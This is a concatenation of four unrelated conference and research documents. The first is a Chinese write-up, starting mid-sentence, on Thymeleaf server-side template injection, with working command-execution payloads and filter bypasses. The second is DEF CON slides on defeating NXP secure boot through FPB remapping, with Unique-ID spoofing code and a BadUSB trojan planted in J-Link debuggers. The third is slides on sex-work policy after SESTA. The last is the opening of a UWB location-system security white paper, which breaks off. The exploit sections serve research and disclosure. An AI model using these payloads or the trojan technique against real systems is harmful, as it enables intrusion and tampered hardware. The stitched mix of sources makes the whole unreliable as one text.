为参数传递给其他模板等等 实际上,Thymeleaf 出现 SSTI 问题的主要原因也正是因为这个⽚段表达式,我们知道⽚段表达式 语法如下: 1. ~{templatename::selector} ,会在 /WEB-INF/templates/ ⽬录下寻找名为 templatename 的模版中定义的 fragment 如有⼀个 html ⽂件的代码如下: 001 写在前⾯ 002 Thymeleaf SSTI 然后在另⼀template中可以通过⽚段表达式引⽤该⽚段: th:insert 和 th:replace: 插⼊⽚段是⽐较常⻅的⽤法 2. ~{templatename} ,引⽤整个 templatename 模版⽂件作为 fragment 这个也⽐较好理解,不做详细举例 3. ~{::selector} 或 ~{this::selector} ,引⽤来⾃同⼀模版⽂件名为 selector 的 fragmnt 在这⾥, selector 可以是通过 th:fragment 定义的⽚段,也可以是类选择器、ID选择器等。 4. 当 ~{} ⽚段表达式中出现 :: ,那么 :: 后需要有值(也就是 selector ) 在了解这些内容后,我们就可以正式来看这个漏洞是怎么⼀回事了。 ⾸先,同样的,我们拿⼀个常⻅的例⼦: 这是 SpringBoot 项⽬中某个控制器的部分代码⽚段,thymeleaf 的⽬录如下: <!DOCTYPE html> <html th="http://www.thymeleaf.org"> <body> <div fragment="banquan"> &copy; 2021 ThreeDream yyds</div> </body> </html> HTML xmlns: th: <div insert="~{footer :: banquan}"></div> HTML th: @GetMapping("/admin") public String path(@RequestParam String language) { return "language/" + language + "/admin"; } JAVA 从代码逻辑中基本上可以判断,这实际上是⼀个语⾔界⾯选择的功能,如果是中⽂阅读习惯者,那 么会令 language 参数为 cn ,如果是英⽂阅读习惯者,那么会令 language 参数为 en ,代码逻辑 本身实际上是没有什么问题的,但是这⾥采⽤的是 thymeleaf 模板,就出现了问题。 在springboot + thymeleaf 中,如果视图名可控,就会导致漏洞的产⽣。其主要原因就是在控制 器中执⾏ return 后,Spring 会⾃动调度 Thymeleaf 引擎寻找并渲染模板,在寻找的过程中,会 将传⼊的参数当成SpEL表达式执⾏,从⽽导致了远程代码执⾏漏洞。 thymeleaf 渲染的流程如下: createView() 根据视图名创建对应的View renderFragment() 根据视图名解析模板名称 所以可以跟进 renderFragment() 来看看如何解析模板名称的: 核⼼代码我复制了出来: protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception { String templateName; Set<String> markupSelectors, processMarkupSelectors; ServletContext servletContext = getServletContext(); String viewTemplateName = getTemplateName(); ISpringTemplateEngine viewTemplateEngine = getTemplateEngine(); ... if (!viewTemplateName.contains("::")) { templateName = viewTemplateName; markupSelectors = null; } else { IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration); FragmentExpression fragmentExpression; try { fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}"); } catch (TemplateProcessingException var25) { JAVA 可以发现,这⾥将模板名称( viewTemplateName ) 进⾏拼接 "~{" + viewTemplateName + "}" ,然后使⽤ parseExpression 进⾏解析,继续跟进 parseExpression 就可以发现 会通过 EngineEventUtils.computeAttributeExpression 将属性计算成表达式: throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'"); } ... 然后再进⾏预处理(预处理是在正常表达式之前完成的执⾏,可以理解成预处理就解析并执了⾏表 达式),最终执⾏了表达式。 效果如下: http://127.0.0.1:8080/admin?language=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInp utStream()).next()}__::.k 这个 POC 为什么这样构造呢? 前⽂在介绍 renderFragment 函数的时候我们提到, renderFragment 在解析模板名称的时候会 将模板名称进⾏拼接 "~{" + viewTemplateName + "}" ,然后使⽤ parseExpression 进⾏解 析,我们跟进 parseExpression 进⼊ org.thymeleaf.standard.expression StandardExpressionParser.java 中的 parseExpression ⽅法: (preprocess? StandardExpressionPreprocessor.preprocess(context, input) : input); JAVA 可以发现对表达式进⾏了 preprocess 预处理,跟进该⽅法: preprocess 预处理会解析出 __xx__ 中间的部分作为表达式 如果 debug 可以发现,该表达式最终在 org.thymeleaf.standard.expression.VariableExpression.executeVariableExpressio n() 中作为 SpEL表达式执⾏。 因此 POC 中我们要构造形如 __xx__ 的SpEL表达式(SpEL相关的知识点可以参考此⽂:SPEL 表 达式注⼊漏洞深⼊分析),即表达式要为: __${xxxxx}__ 这种形式 那么为什么后⾯还有带有 :: 呢? 因为 renderFragment 中的判断条件: 即只有当模板名包含 :: 时,才能够进⼊到 parseExpression ,也才会将其作为表达式去进⾏执 ⾏。 ⾄于 POC 最后的 .k ,我们在最开始的提到了: 当 ~{} ⽚段表达式中出现 :: ,那么 :: 后需要有值(也就是 selector ) 因此,最终 POC 的形式就为: __${xxxx}__::.x 实际上,只有3.x版本的Thymeleaf 才会受到影响,因为在2.x 中 renderFragment 的核⼼处理⽅ 法是这样的: if (!viewTemplateName.contains("::")) { JAVA 并没有3.x 版本中对于⽚段表达式( ~{ )的处理,也因此不会造成 SSTI 漏洞,以下是 SpringBoot 默认引⽤的 thymeleaf 版本 spring boot:1.5.1.RELEASE spring-boot-starter-thymeleaf:2.1.5 spring boot:2.0.0.RELEASE spring-boot-starter-thymeleaf:3.0.9 spring boot:2.2.0.RELEASE spring-boot-starter-thymeleaf:3.0.11 针对上⽂中的问题,Thymeleaf 实际上做了修复,在 3.0.12 版本,Thymeleaf 在 util ⽬录下增 加了⼀个名为 SpringStandardExpressionUtils.java 的⽂件: protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception { ... Configuration configuration = viewTemplateEngine.getConfiguration(); ProcessingContext processingContext = new ProcessingContext(context); templateCharacterEncoding = getStandardDialectPrefix(configuration); StandardFragment fragment = StandardFragmentProcessor.computeStandardFragmentSpec(configuration, processingContext, viewTemplateName, templateCharacterEncoding, "fragment"); if (fragment == null) { throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'"); } ... JAVA 003 Thymeleaf SSTI Bypass 在该⽂件中,就有说明: 当调⽤表达式的时候,会经过该函数的判断: 来看看该函数: public static boolean containsSpELInstantiationOrStatic(final String expression) { final int explen = expression.length(); int n = explen; int ni = 0; // index for computing position in the NEW_ARRAY int si = -1; char c; while (n-- != 0) { c = expression.charAt(n); if (ni < NEW_LEN && c == NEW_ARRAY[ni] && (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1))))) { ni++; if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) { return true; // we found an object instantiation } continue; } JAVA 可以看到其主要逻辑是⾸先 倒序检测是否包含 wen 关键字、在 ( 的左边的字符是否是 T ,如包 含,那么认为找到了⼀个实例化对象,返回 true ,阻⽌该表达式的执⾏。 if (ni > 0) { n += ni; ni = 0; if (si < n) { // This has to be restarted too si = -1; } continue; } ni = 0; if (c == ')') { si = n; } else if (si > n && c == '(' && ((n - 1 >= 0) && (expression.charAt(n - 1) == 'T')) && ((n - 1 == 0) || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) { return true; } else if (si > n && !(Character.isJavaIdentifierPart(c) || c == '.')) { si = -1; } } return false; } 因此要绕过这个函数,只要满⾜三点: 1、表达式中不能含有关键字 new 2、在 ( 的左边的字符不能是 T 3、不能在 T 和 ( 中间添加的字符使得原表达式出现问题 因此可以利⽤的字符有 %20 (空格)、 %0a (换⾏)、 %09 (制表符),此外,通过 fuzzing 同样可以找 到很多可以利⽤的字符: 有兴趣的朋友可以⾃⼰测试还有哪些可以绕过 需要注意的是,这种绕过⽅式针对的情景是当传⼊的路径名可控时,如: 这⾥有⼀个点需要注意,可以看到上⾯⼀个图⽚中 path 和返回的视图名不⼀样,path 为 /admin/* ,返回的视图名为 language/cn/* ,但当 path 和返回的视图名⼀样的时候,如下: 实际上上述payload 是没有⽤的 为什么呢? 实际上在 3.0.12 版本,除了加了 SpringStandardExpressionUtils.java ,同样还增加了 SpringRequestUtils.java ⽂件: 并且看其描述: 如果视图名称包含在 URL 的路径或参数中,请避免将视图名称作为⽚段表达式执⾏ 意思就是如果视图的名字和 path ⼀致,那么就会经过 SpringRequestUtils.java 中的 checkViewNameNotInRequest 函数检测: 可以看到,如果 requestURI 不为空,并且不包含 vn 的值,即可进⼊判断,从⽽经过 checkViewNameNotInRequest 的“良⺠”认证。 ⾸先按照上⽂中的 Poc: __${T%20(java.lang.Runtime).getRuntime().exec(%22open%20- a%20calculator%22)}__::.x/ 我们可以得到 vn 的值为 home/__${t(java.lang.runtime).getruntime().exec("open- acalculator")}__::.x 既然 vn 的值确定下来,那么接下来只要令 requestURI.contains(vn) 为假,就能达到我们的⽬ 的 contains 区分⼤⼩写,那么…… 别想了,因为 pack ⽅法已经经过了 toLowerCase 处理 那么是不是么办法了?答案是否定的(废话,三梦师傅给出了答案) 我们先看 requestURI 是怎么来的: 跟进 unescapeUriPath ⽅法: 跟进 unescapeUriPath ⽅法: 调⽤了 UriEscapeUtil.unescape ,跟进: 该函数⾸先检测传⼊的字符中是否是 % (ESCAPE_PREFIX)或者 + ,如果是,那么进⾏⼆次处理: 将 + 转义成空格 如果 % 的数量⼤于⼀,需要⼀次将它们全部转义 处理完毕后,将处理后的字符串返还回 如果实际不需要unescape,那么不经过处理,直接返回原始字符串对象 最终,就得到了 requestURI 貌似,也没啥特殊的地⽅ 既然没有特殊的地⽅,那么我们只需要思考,如何从正⾯令 requestURI.contains(vn) 为假,即 令 requestURI 不等于 home/__${t(java.lang.runtime).getruntime().exec("open- acalculator")}__::.x 即可 这件事本质是令两个字符串不相等,并且要满⾜路由条件( /home/* 路径下) 那么结论就来了 Bypass 技巧 1: 这也是三梦师傅在群⾥提到的 home;/__${t(java.lang.runtime).getruntime().exec("open-acalculator")}__::.x 只需要在 home 的后⾯加上⼀个分号即可 这是因为在 SpringBoot 中,SpringBoot 有⼀个功能叫做矩阵变量,默认是禁⽤状态: 如果发现路径中存在分号,那么会调⽤ removeSemicolonContent ⽅法来移除分号 这样⼀来使得传⼊的字符和 vn 不相同,并且⼜满⾜路由条件!成功绕过 checkViewNameNotInRequest 的检测 Bypass 技巧 2: 这个 Bypass 是我分析的时候想到的,前⾯也提到了,我们的实际⽬标就是令两个字符串不相等, 并且要满⾜路由条件( /home/* 路径下),那么: home//__${t(java.lang.runtime).getruntime().exec("open-acalculator")}__::.x 和 home/__${t(java.lang.runtime).getruntime().exec("open-acalculator")}__::.x 不相 等,并且满⾜路由条件!完美!(原理不⽤解释了吧) 最后提⼀点,实际上 payload 中不能含有 / ,否则会执⾏不成功: 原因其实就是路由条件不相等,因为解析器看来是这样的路径 /home;/__${T (java.lang.Runtime).getRuntime().exec("open -a /System /Applications /Calculator.app")}__::.x/ 遗憾的是,这 Bypass Thymeleaf 官⽅并没有给三梦师傅分配 CVE,和三梦师傅讨论认为, Thymeleaf 认为这是开发者需要注意到的地⽅(因为 return 的内容是由开发者控制,开发者应当 注意这个问题),不过这个理由牵不牵强,就只能⾃⼰领会了 004 总结 实际上由于时间问题,还有⼀些内容没有横向扩展,⽐如,当不 return 的时候: 能否 Bypass? 当模板内容可控的时候: ⼜能否 Bypass? 此外,java 常⽤的其他模板引擎,如 Velocity、Freemarker、Pebble 和 Jinjava 是否存在类似问 题? 这些问题在我有时间的时候会尝试去解决,也同时欢迎其他师傅共同分析思考这些问题
pdf
Bypassing the ‘secureboot’ and etc on NXP SOCs Yuwei ZHENG, Shaokun CAO, Yunding JIAN, Mingchuang QIN UnicornTeam, 360 Technology Defcon 26 About us • 360 Technology is a leading Internet security company in China. Our core products are anti-virus security software for PC and cellphones. • UnicornTeam (https://unicorn.360.com/) was built in 2014. This is a group that focuses on the security issues in many kinds of wireless telecommunication systems. • Highlighted works of UnicornTeam include: • Low-cost GPS spoofing research (DEFCON 23) • LTE redirection attack (DEFCON 24) • Attack on power line communication (Black Hat USA 2016) Agenda • Motivation • About Secure Boot • Different implementations of secure boot • Secure boot and Anti-clone • Details of the vulnerability • Exploitation • Countermeasures Motivation • Research the Secure Boot implementation in cost- constrained systems. • Assess the anti-cloning strength of embedded SoCs. • Attempt to modify peripherals as hardware Trojan. About Secure Boot • Public key-based binary signing and verification • Signing 1) Signer generate a key pair, K-priv and K-pub(Certificate). 2) Calculate the binary image’s hash. 3) Encrypt the hash with K-priv, the output is Signature. 4) Attach the Certificate(K-pub) and Signature to binary image. • Verification 1) Calculate the binary image’s hash 2) Decrypt the Signature with K-pub (certificate), the output is the original Hash. 3) If the two hashes are equal, the Signature is valid, which means binary hasn’t been modified illegally. About Secure Boot • Principle of Secure Boot • Boot ROM has been masked into the SoCs at the chip manufacturing stage, as well as the Root PuK(public key) has been permanently programmed into the OPT memory during the final product making stage. Silicon's physical mechanism ensures Root PuK and Boot Rom can not be replaced or bypassed. • Product vendor use its Root PrK(private key) to generate a signature of the Boot image and App PuK, as well as to generate a signature of the Application image with App PrK. • At the beginning of the system power up, the Boot ROM use the Root PuK to verify the signature of Boot image. If the signature is valid, the boot image will be executed. The boot image loads the Application image into memory, and checks the signature with App PuK. The application image is only executed when the signature is valid. Signature Application Root PuK Signature App PuK Boot image Boot Rom External Nand or Emmc What can Secure Boot do? • Prevent firmware from being infected or added with evil features. Two attack examples: Inject evil features to 4G LTE modem. ([1] blackhat us14, Attacking Mobile Broadband Modems Like A Criminal Would). Modify the femoto cell's firmware to eavesdrop 4G users.([2]defcon 23, Hacking femoto cell). Secure Boot can be used to mitigate these attacks. • Protect the intellectual property of product manufacturers. Different implementations of Secure Boot • UEFI and Secure Boot PCs with UEFI firmware and TPM support can be configured to load only trusted operating system bootloaders. • Secure Boot in the embedded systems For SoCs that support TrustZone, full-featured Secure Boot can be implemented (High performance arm cores, cortex A7 and after version are required). Under the assurance of TrustZone, Root PuK of Secure Boot has been burned into the OPT area permanently. The physical characteristics of the chip determines that ROOT PuK and Boot ROM cannot be replaced. The integrity of the entire chain of trust ensures that the tampered image can not executed. • Secure Boot in non-trustzone SOCs Lite version of Secure Boot features are always implemented by product manufacturers themselves in the cost-constrained IoT systems. Secure Boot in non-trustzone SOCs For the cortex-m class processor, because it is usually used in cost- constrained scenarios, there is not TrustZone and Secure Boot support except the latest m23, m33 which based on armv8m architecture. This makes the widely used M0, M1, M3, and M4 processors does not support TrustZone , so Secure Boot can not be implement natively on the hardware side. Application Boot Rom Boot image The product manufacturer usually designs its own bootloader. The bootloader always adds the corresponding functions of Secure Boot. That is, the bootloader contains the App PuK, and the application area has been signed with corresponding App PrK (private key). After the system is powered on, the bootloader will perform a signature verification. If the verification fails, the code of application area will not be executed. We call it as lite version Secure Boot. It’s the main point we focus on. Signature Application Boot Rom App PuK Boot image An example of Secure Boot implementation on NXP cortex M4 • NXP design a feature called as Unique ID,which solidifies in the chip during SOC production and cannot be replaced. • Bonds the signature with Unique ID: Signing 1) Get Chip’s Unique ID 2) hash = Hash(application + Unique ID), 3) signature = encrypt( hash, App_PrK). Verification 1) Get Chip’s Unique ID 2) hash = Hash(application + Unique ID), hash’ = decrypt(signature, App_PuK). 3) hash ?= hash’ Signature Application Boot Rom App PuK Boot image Unique'ID The underground piracy industry One-time costs Reverse PCB: 20$ - 200$ Crack Fuse: 200$ - 5000$ Crack&Fuse&/&OTP&&to& read&out&firmware Buy&the&same& components Reproduce&PCBA Batch&cloning&target& products Buy&one&piece&of&target& product& Reverse&PCB&and& components Unique ID Makes Cloning Difficult When the secure boot binds the license to the unique ID, even if the pirates purchase same chips, because different chip has different id, the secure boot verification will fail and the normal function of the product still cannot be loaded. One-time costs Reverse PCB: 20$ - 100$ Crack Fuse: 200$ - 5000$ Reverse Firmware and patch: 5000$ - 50000$ (must pay again when firmware updated) The normal procedure to access the Unique ID • As shown in the figure, in the NXP’s cortex-m3, cortex-m4 classes of SoCs, a series of ROM API functions are exported, including the function for reading Unique IDs. The normal procedure to access the Unique ID The Unique ID can be access with the following code snippet #define IAP_LOCATION *(volatile unsigned int *)(0x104000100); typedef void (*IAP)(unsigned int [],unsigned int[]); IAP iap_entry=(IAP)IAP_LOCATION; Use the following statement to call the IAP: iap_entry (command, result); To read the Unique ID, the command is 58; The normal procedure to access the Unique ID Bypass the Secure Boot verification • Patch? Heavy reverse analysis work. Firmware code is strongly position dependent. After the firmware is upgraded, the patch will be replaced. • Hook? It’s easy in high level OS. Change the behavior of firmware without modify firmware. How to hook the functions in IOT firmware? How to hook the functions in IOT firmware? • Cortex M3/M4 provide a way to remap an address to a new region of the flash and can be use to replace the ROM API entry. What’s FPB • FPB has two functions: 1) Generate hardware breakpoint. Generates a breakpoint event that puts the processor into debug mode (halt or debug monitor exceptions) 2) remap the literal data or instruction to specified memory • FPB registers can be accessed both by JTAG or MCU itself. FPB Registers FP_COMP0 – 5 are used to replace instructions. FP_COMP6 – 7 are used to replace literal data. Name Function FP_CTRL Flash Patch Control Register FP_REMAP Flash Patch Remap Register FP_COMP0 - 5 Flash Patch Comparator Register 0-5 FP_COMP6 - 7 Flash Patch Comparator Register 6-7 How FPB works 0x8001000: mov.w r0,#0x8000000 0x8001004: ldr r4, =0x8002000 … 0x8002000: dcd 0x00000000 • If we run this code normally,the result of this code will be: r0=0x8000000,and r4 = 0. • But if we enable the fpb,the run this code,the result will be: r1 = 0x10000,and r4 = 0xffffffff; Key point to process the FPB • Fpb remap address must be aligned by 32 bytes. • Fpb remap address must be placed in SRAM area(0x20000000-0x30000000). • Make sure the remap memory never be replaced. Put these value into a stack area, and move the base position of stack pointer to dig a hole in the SRAM. Code example(replace literal data) • typedef struct • { • __IO uint32_t CTRL; • __IO uint32_t REMAP; • __IO uint32_t CODE_COMP[6]; • __IO uint32_t LIT_COMP[2]; • } FPB_Type; • #define FPB ((FPB_Type *)0xE0002000) • #define FPB_DATA ((volatile int*)0x0x2000bfe0) • static const int data = 0xffffffff; • void main() • { • FPB->REMAP=0x2000bfe0; • FPB->LIT_COMP[0] = (uint32_t)&data; • FPB_DATA[6] = 0; • FPB->CTRL = 0x00000003; • printf(“%d\n”,data); • } Exploitation | • Change Unique ID to arbitrary value Patch the __FPB_FUNC and FakeIAP code to the blank area of the flash. Patch the ResetHander to trig the __FPB_FUNC function to execute. Do not any changes to Application area, so the signature is still valid. Signature Application Boot Rom App PuK Boot image Unique1ID __FPB_FUNC FakeIAP Exploitation Code Original vector table __vector_table DCD sfe(CSTACK) DCD Reset_Handler DCD NMI_Handler DCD HardFault_Handler DCD MemManage_Handler DCD BusFault_Handler DCD UsageFault_Handler . . . Patched vector table __vector_table DCD sfe(CSTACK) DCD __FPB_func DCD NMI_Handler DCD HardFault_Handler DCD MemManage_Handler DCD BusFault_Handler DCD UsageFault_Handler . . void _FPB_FUNC() { set_fpb_regs(); GoToJumpAddress(Reset_Handler); } Exploitation Code • void fake_iap(unsigned int *para,unsigned int *rp_value) • { • if(para[0]==58) • { • rp_value[0] = 0;//success • rp_value[1] = NEW_UID_0; • rp_value[2] = NEW_UID_1; • rp_value[3] = NEW_UID_3; • rp_value[4] = NEW_UID_4; • } • else • { • IAP iap_entry=(IAP)(OLD_ENTRY); • iap_entry(para,rp_value); • } • return; • } Demo Exploitation || -- Add Hardware Trojan • J-Link is a powerful debug tools for ARM embedded software developer. • It has an USB port, so it’s a good carrier for hardware Trojan. • The Trojan can be inject before sell to end user. Exploitation || -- Add Hardware Trojan • The J-Link-v10 use an NXP LPC4322 chip, it is based on cortex-m4 core. and this chip is vulnerable. • 512K internal flash. • Jlink firmware use the lower 256K flash. There is enough area to inject the Trojan Add BadUSB into J-Link • Modify a J-Link into a BadUSB gadget, and the J-Link normal function keeps unchanged. Trigger Trojan • How to trigger the malware executing? It can be considered that there are two sets of firmware stored in the flash, one is the J-Link application firmware, and the other is the BadUSB Trojan firmware. It must be ensured that the J-Link application firmware can run normally most of the time, and users can use J-Link functions normally. The question now is how to trigger the execution of badUSB Trojan firmware? • Hook the timer interrupt entry We do it by hooking the application firmware’s timer interrupt entry. When the vector function has been executed for certain times, the BadUSB will be triggered to execute. And if the attack is performed successfully, the attacked flag will be reset. After that, the J-Link will continue working normally. Demo Mitigation attack strategy • Be careful to save your firmware, don't leak it in any way. • Disable the FPB before call ROM API. • Do not give the chance for CPU to running the patch. For example, do not leave any blank flash area to insert a patch. • Padding the blank flash area to specific value. • You’d better always verify signature for the whole falsh area. Effected chips • Almost all cotex-m3, cortex-m4 of NXP • May be other manufactures has the cm3-4 chips which getting UID from a function, but not from a address space. Advice from psirt of NXP • Code Read Protection (CRP) Setting You can set CRP level to CRP3, to disable JTAG and ISP. The resulting problem is the firmware of the chip also cannot be update anymore through JTAG or ISP. So you must design an IAP instead by yourself if you want to update firmware after your product shipped, and make sure the IAP application cannot be reversed. JTAG ISP CRP1 NO YES CRP2 NO YES CRP3 NO NO Countermeasure • It’s not a good idea to put the ROM API in an address region that can be remapped. We recommend SoC vendor prohibit remapping of ROM APIs in subsequent products. Reference [1] Andreas Lindh, Attacking Mobile Broadband Modems Like A Criminal Would. https://www.blackhat.com/docs/us- 14/materials/us-14-Lindh-Attacking-Mobile-Broadband-Modems-Like-A-Criminal-Would.pdf [2] Yuwei Zheng, Haoqi Shan, Build a cellular traffic sniffier with femoto cell. https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEFCON-23-Yuwei-Zheng- Haoqi-Shan-Build-a-Free-Cellular-Traffic-Capture-Tool-with-a-VxWorks-Based-Femto.pdf [3] LPC4300/LPC43S00 user manual. https://www.nxp.com/docs/en/user-guide/UM10503.pdf [4] Cortex M3 Technical Reference Manual. http://infocenter.arm.com/help/topic/com.arm.doc.ddi0337h/DDI0337H_cortex_m3_r2p0_trm.pdf
pdf
AFTER SESTA SEX WORK DEFCON 26
 MAGGIE MAYHEM @MsMaggieMayhem 2018 WHEN SEX WORKER RIGHTS ARE UNDER ATTACK, WHAT DO WE DO? GET DRESSED, FIGHT BACK! Sex Worker Rights Labor Chant SEX WORK AFTER SESTA SEX WORK AFTER SESTA ABOUT ME ▸ Sex Worker, Birth Worker, Death Worker ▸ Based in San Francisco, CA ▸ Founder of Harm Redux SF 
 Crack Pipe & Safer Smoking Supplies ▸ Former Sex Worker Outreach Project- USA 
 Board of Directors 2015-2017 ▸ Full Spectrum Doula ▸ Former HIV Senior Specialist 
 Larkin Street Youth Services ▸ Feminist Porn Award Winner SESTA/FOSTA STOP ENABLING SEX TRAFFICKERS ACT/ FIGHT ONLINE SEX TRAFFICKING ACT Criminalizes the buying, rather than the selling, of sexual services. The Nordic Model: “End Demand” The belief that commercial sex and trafficking is underpinned by principles of supply and demand and that without the current demand to pay for sex, there would be no ‘supply’ of people to exploit. FROM BAD GIRLS, TO SAD GIRLS Moral Failures to Human Trafficking Victims ASYMMETRIC ENFORCEMENT OF A LAW WILL ALWAYS INFRINGE ON THE FUNDAMENTAL RIGHTS OF THE NON-CRIMINAL PARTY First street based buyer sting 
 1964, Nashville, TN First internet based buyer string
 1995, Everett, WA Names and/or photos publicized
 1975, Eugene, OR First “Dear John” letters
 1982, Aberdeen, MD Surveillance cameras targeting prostitution
 1989, Horry County, SC Neighborhood Action Targeting Johns
 1975, Knoxville, TN "THIS TURNS NEIGHBORS AGAINST NEIGHBORS AND RECRUITS PEOPLE TO BECOME SPIES FOR THE POLICE. IT’S NOT HEALTHY FOR THESE COMMUNITIES." Cynthia Chandler, human-rights attorney, San Leandro SEX WORK AFTER SESTA SEX WORK AFTER SESTA A National Overview of Prostitution and Sex Trafficking Demand Reduction Efforts, Final Report 2012 “While it is necessary and just to assist survivors, and expansion of those services is acutely needed, the interventions are not designed to prevent or reduce the occurrence of exploitation.” 
 SEX WORK AFTER SESTA ▸ Most law enforcement response to commercial sex is driven by complaints from local residents and business. 
 (At least 71% and more likely driving 90% of actions) ▸ Public shaming tactics drastically reduce complaint calls regardless of whether or not actual activity is reduced ▸ Individual victims/survivors are collateral damage in the larger war to “end demand” for commercial sex services ▸ No punitive response, up to and including a death penalty, has effectively halted commercial sex at any time in history Craigslist erotic services reduced the female homicide rate by 17.4% IN SAN FRANCISCO THE AVERAGE YIELD 
 OF ARRESTS PER STREET-LEVEL STING 
 FELL BY HALF BETWEEN 2004 AND 2007 SEX WORK AFTER SESTA ‣ WORKPLACE HOMICIDE RATE FOR FEMALE PROSTITUTES IS 204 PER 100,000 ‣ WOMEN REPRESENT 22% OF ALL HOMICIDE VICTIMS BUT 70% OF SERIAL KILLER VICTIMS ‣ SEX WORKERS REPRESENT 78% OF ALL FEMALE SERIAL KILLER VICTIMS ‣ SEX WORKERS ARE 18X MORE LIKELY TO BE A VICTIM OF HOMICIDE THAN OTHER WOMEN ‣ 50% OF SEX WORKER HOMICIDES GO UNSOLVED SEX WORK AFTER SESTA: ADDITIONAL SOURCES ▸ Letter from Escambia County Sheriff to a “John”. Published in, An Overview of Sending Letters To Homes of Sex Buyers in the United States, from the Study, “A National Assessment of Prostitution and Sex Trafficking Demand Reduction Efforts” (2012) ‣ A National Overview of Prostitution and Sex Trafficking Demand Reduction Efforts, Final Report. Michael Shively, Ph.D., Kristina Kliorys, Kristin Wheeler, Dana Hunt, Ph.D. June 2012 ‣ Aaron Wildavsky and Adam Wildavsky, “Risk and Safety,” in David R. Henderson, ed., The Concise Encyclopedia of Economics AFTER SESTA SEX WORK DEFCON 26
 MAGGIE MAYHEM @MsMaggieMayhem 2018
pdf
WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice AUTHORS Andrea Palanca Luca Cremona Roya Gordon About Nozomi Networks Labs Nozomi Networks Labs is dedicated to reducing cyber risk for the world’s industrial and critical infrastructure organizations. Through its cybersecurity research and collaboration with industry and institutions, it helps defend the operational systems that support everyday life. The Labs team conducts investigations into industrial device vulnerabilities and, through a responsible disclosure process, contributes to the publication of advisories by recognized authorities. To help the security community with current threats, they publish timely blogs, research papers and free tools. The Threat Intelligence and Asset Intelligence services of Nozomi Networks are supplied by ongoing data generated and curated by the Labs team. To find out more, and subscribe to updates, visit nozominetworks/labs Table of Contents 1. Introduction 4 1.1 Ultra-wideband (UWB) and Real Time Locating Systems (RTLS) 4 1.2 Use Cases 6 1.3 Cyber Threats to Wireless Communications 6 1.4 Motivation 7 2. Methodology and Attack Demos 8 2.1 Scope 8 2.1.1 Industry Scope 8 2.1.2 Technical Scope 10 2.2 TDoA Background and Theory 11 2.2.1 Packet Taxonomy 11 2.2.2 Algorithm Details 12 2.3 Reverse Engineering of Device Network Traffic 14 2.3.1 Sewio RTLS 14 2.3.2 Avalue RTLS 21 2.4 Anchor Coordinates Prerequisite 29 2.5 Adversary Tactics, Techniques and Procedures (TTPs) 34 2.5.1 Traffic Interception 34 2.5.2 Passive Eavesdropping Attacks 38 2.5.3 Active Traffic Manipulation Attacks 42 2.6 Attacks Against Real-world Use Cases 45 2.6.1 Locating and Targeting People/Assets 45 2.6.2 Geofencing 46 2.6.3 Contact Tracing 49 3. Remediations 51 3.1 Segregation and Firewall Rules 51 3.2 Intrusion Detection Systems 53 3.3 Traffic Encryption 54 4. Summary and Key Takeaways 56 4.1 Summary 56 4.1 Key Takeaways 56 4 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice As the world becomes more connected, companies have found that wireless technology can be leveraged to increase efficiency and overall productivity while reducing unnecessary costs associated with cabling infrastructure. Wireless systems also allow for quicker sharing of information than wired networks by reducing wait times on data transfers between different devices within an organization. While these benefits are apparent, wireless communication systems are susceptible to various security threats that can compromise their reliability and impact production operations. In an effort to strengthen the security of devices utilizing Ultra-wideband (UWB) radio waves, Nozomi Networks Labs conducted a security assessment of two popular UWB Real Time Locating Systems (RTLS) available on the market. In our research, we discovered zero- day vulnerabilities and other weaknesses that, if exploited, could allow an attacker to gain full access to all sensitive location data exchanged over-the-air. In this white paper, we demonstrate how an attacker may exploit RTLS to locate and target people and objects, hinder safety geofencing rules, and interfere with contact tracing. We also present key actions that companies can take to help mitigate these risks and implement a secure wireless network infrastructure. UWB is a wireless communication protocol that uses radio waves to determine precision and ensure communication of peer devices. It is ideal for short-range devices because it has a relatively small wavelength, meaning it can transmit information quickly over short distances.1 UWB is used in many different types of applications ranging from consumer electronics to medical devices to industrial automation. Many companies are now using UWB technology in their products to take advantage of its unique properties, including its ability to send data through solid objects, like walls and other barriers, without losing quality or slowing down transmission speeds. This is opposed to other radio frequencies (RFs), such as Bluetooth or Wi-Fi, which use narrow-band radio waves for more line-of-sight precision over longer distances. 1. Introduction 1.1 Ultra-wideband (UWB) and Real Time Locating Systems (RTLS) 1 “What UWB Does,” FiRa Consortium. 5 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 1. Introduction UWB is the preferred communication protocol for RTLS, which is a technology that uses radio-frequency signals to locate both stationary and mobile objects. RTLS consists of three components: tags that are attached to assets, anchors that receive the wireless signal, and a computer system that processes and stores tag positions. When an asset passes through an area with a tag attached to it, the tag sends out a signal which is received by computers connected to the system. The computers analyzes the signal's time of arrival to determine its distance from the asset, and then information is stored into the database. UWB utilizes the following positioning techniques: 1. Two Way Ranging (TWR): This method calculates the Time of Flight (TOF) of an electromagnetic wave by measuring the time it takes for a wave to travel from one point to another. This method is mostly used for hands- free access control or locating lost items.2 2. Time Difference of Arrival (TDoA): This method uses multiple anchors deployed within a given facility. When the anchors receive a beacon from a tagged device, the timestamp of the beacon will be analyzed to correlate the position of the device.3 This method is mostly used when tracking personnel in facilities. This research will focus on the latter technique, TDoA. Bandwidth: 500 MHz - several GHz Spectral Density Frequency UWB Bandwidth: 20 MHz Other wireless communication Bandwidth: 1 MHz Other wireless communication Figure 1 - Spectral density for UWB and narrowband. (Source: FiRa Consortium) 2 “Why UWB Is the Premier Location Technology," Qorvo. 3 Ibid. 6 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 1. Introduction 4 “Efficient, reliable, 